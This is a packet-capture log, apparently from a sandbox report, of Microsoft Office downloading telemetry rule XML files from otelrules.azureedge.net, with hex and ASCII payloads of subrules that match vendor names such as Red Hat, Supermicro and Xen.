2024-11-20 20:05:31 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	49876	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:31 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:31 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:31 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 171aa64f-101e-005a-5b63-3b882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200531Z-178bfbc474bq2pr7hC1NYCkfgg00000000qg0000000007r9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:31 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	49878	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:31 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:31 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:31 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 9cb1ed33-701e-0021-398c-3a3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200531Z-185f5d8b95cwtv72hC1NYC141w0000000ar0000000001mev x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:31 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	49879	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:31 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:31 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:31 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 5c5a59ff-301e-003f-5b8c-3a266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200531Z-r1d97b9957744xz5hC1TEB5bf800000009ag0000000002q3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:31 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.4	49877	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:32 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:32 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:32 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: de17e165-601e-0002-3161-3ba786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200532Z-185f5d8b95c5lcmhhC1NYCsnsw0000000aug0000000094tr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:32 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.4	49880	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:33 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:33 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:33 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 4f8e9926-c01e-00ad-7c8c-3aa2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200533Z-1777c6cb754mrj2shC1TEB6k7w0000000a7g000000009dp6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:33 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	49881	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:33 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:34 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:33 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 38897bff-401e-000a-368c-3a4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200533Z-r1d97b99577sdxndhC1TEBec5n00000009gg0000000055px x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:34 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.4	49883	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:33 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:34 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:33 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: d7880247-601e-0070-328c-3aa0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200533Z-r1d97b9957789nh9hC1TEBxha800000009fg00000000arsr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:34 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.4	49882	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:33 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:34 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:33 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 1a92378f-b01e-005c-6f7b-3b4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200533Z-1777c6cb754wcxkwhC1TEB3c6w00000009z000000000fyc5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 20:05:34 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	49884	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:34 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:34 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:34 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 26217b89-b01e-001e-808c-3a0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200534Z-1777c6cb754mrj2shC1TEB6k7w0000000a5000000000kd8s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:34 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	49885	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:35 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:35 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:35 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 6a968014-801e-0015-537c-3bf97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200535Z-178bfbc474btvfdfhC1NYCa2en00000000gg000000005qhn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 20:05:35 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	49886	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:35 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:36 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:36 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: b992c0cc-401e-0048-5ef2-3a0409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200536Z-r1d97b99577tssmjhC1TEB8kan000000095000000000m0ty x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:36 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	49888	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:35 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:36 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:36 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: e6bcc5b6-c01e-0046-7064-3b2db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200536Z-185f5d8b95cqnkdjhC1NYCm8w80000000ap0000000002993 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
